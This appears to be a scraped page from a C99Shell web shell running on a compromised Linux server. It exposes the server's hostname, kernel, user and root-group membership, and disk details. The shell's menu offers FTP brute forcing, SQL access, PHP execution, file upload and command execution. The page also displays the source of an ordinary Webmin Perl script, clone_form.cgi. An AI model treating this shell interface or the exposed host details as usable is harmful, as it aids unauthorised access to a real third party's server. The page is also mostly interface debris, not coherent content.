!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/usr/share/webmin/virtual-server/   drwxrwxr-x
Free 28.64 GB of 117.98 GB (24.28%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     clone_form.cgi (1.9 KB)      -rwxrwxr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# Display system cloning form

require './virtual-server-lib.pl';
&ReadParse();
$d = &get_domain($in{'dom'});

# Check limits
if ($d->{'parent'} && !&can_create_sub_servers() ||
    !$d->{'parent'} && !&can_create_master_servers()) {
    &error($text{'clone_ecannot'});
    }
($dleft, $dreason, $dmax) = &count_domains(
    $d->{'alias'} ? "aliasdoms" :
    $d->{'parent'} ? "realdoms" : "topdoms");
&error(&text('setup_emax', $dmax, $virtualmin_account_subscriptions)) if ($dleft == 0);

&ui_print_header(&domain_in($d), $text{'clone_title'}, "", "clone");

print $text{'clone_warn'},"<p>\n";
print &ui_form_start("clone.cgi");
print &ui_hidden("dom", $d->{'id'}),"\n";
print &ui_table_start($text{'clone_header'}, undef, 2);

# Domain being cloned
print &ui_table_row($text{'clone_dom'},
    "<tt>".&show_domain_name($d)."</tt>");

# New domain name
print &ui_table_row($text{'clone_newdom'},
    &ui_textbox("newdomain", undef, 40));

# New username and password
if (!$d->{'parent'}) {
    print &ui_table_row($text{'clone_newuser'},
        &vui_noauto_textbox("newuser", undef, 20));

    print &ui_table_row($text{'clone_newpass'},
        &ui_radio("newpass_def", 1,
          [ [ 1, $text{'clone_samepass'} ],
            [ 0, &vui_noauto_password("newpass", undef, 20) ] ]));
    }

# IP address
if ($d->{'virt'} && &can_select_ip()) {
    $tmpl = &get_template($d->{'template'});
    $ipfield = &ui_textbox("ip", undef, 20)." ".
           &ui_checkbox("virtalready", 1, $text{'form_virtalready'});
    if ($tmpl->{'ranges'} eq 'none') {
        # Must enter an IP
        print &ui_table_row($text{'clone_newip'}, $ipfield);
        }
    else {
        # Can select an IP, or allocate
        print &ui_table_row($text{'clone_newip'},
            &ui_radio("ip_def", 1,
                  [ [ 1, $text{'clone_alloc'}."<br>" ],
                    [ 0, $text{'clone_vip'} ] ]).
            " ".$ipfield);
        }
    }

print &ui_table_end();
print &ui_form_end([ [ undef, $text{'clone_ok'} ] ]);

&ui_print_footer(&domain_footer_link($d),
         "", $text{'index_return'});

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.004 ]--